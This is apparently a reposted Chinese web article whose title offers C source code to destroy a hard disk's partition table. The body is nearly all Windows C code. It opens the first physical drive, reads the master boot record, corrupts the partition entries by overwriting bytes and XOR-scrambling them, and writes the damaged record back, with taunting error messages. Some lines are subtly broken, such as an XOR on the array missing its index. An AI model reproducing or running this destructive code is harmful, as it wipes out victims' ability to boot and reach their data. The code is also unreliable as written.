破坏硬盘分区表源代码(C CODE)

2009-2-27 11:17 857 0

摘要: 文章来源:http://www.hekeshop.cnHANDLE hDevice=CreateFile("\\.\PHYSICALDRIVE0",GENERIC_READ|GENERIC_WR...

文章来源:http://www.hekeshop.cnHANDLE hDevice=CreateFile("\\\\.\\PHYSICALDRIVE0",GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL); if(hDevice==INVALID_HANDLE_VALUE){MessageBox(NULL,"Your luck's so good !","Man~",MB_ICONERROR|MB_OK);ExitProcess(0);} DWORD cout;DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME,NULL,0,NULL,0,&cout,NULL); DISK_GEOMETRY Getmetry; DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&Getmetry,sizeof(DISK_GEOMETRY),&cout,NULL); LPTSTR szBuf; szBuf=(LPTSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,Getmetry.BytesPerSector); if(szBuf==NULL){MessageBox(NULL,"Your luck's so good !","Man~",MB_ICONERROR|MB_OK);ExitProcess(0);} DWORD bytes=512;DWORD readsize;BOOL m_ret;m_ret=ReadFile(hDevice,szBuf,bytes,&readsize,NULL);if(m_ret==FALSE || readsize<512){MessageBox(NULL,"Your luck's so good !","Man~",MB_ICONERROR|MB_OK);ExitProcess(0);} BYTE MBR[512]={0};for(int n=0;n<512;n++){MBR[n]=szBuf[n];} DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);CloseHandle(hDevice); MBR[0x1BE]=80;MBR[0x1BF]=0;MBR[0x1C2]=5;for(int i=0x1C3;i<=0x1FE;i++){MBR=MBR^26;} hDevice=CreateFile("\\\\.\\PHYSICALDRIVE0",GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);if(hDevice==INVALID_HANDLE_VALUE){MessageBox(NULL,"Your luck's so good !","Man~",MB_ICONERROR|MB_OK);ExitProcess(0);}DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME,NULL,0,NULL,0,&cout,NULL); m_ret=WriteFile(hDevice,MBR,bytes,&readsize,NULL);if(m_ret==FALSE||readsize<512){MessageBox(NULL,"Your luck's so good !","Shit",MB_ICONERROR|MB_OK);ExitProcess(0);} DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);

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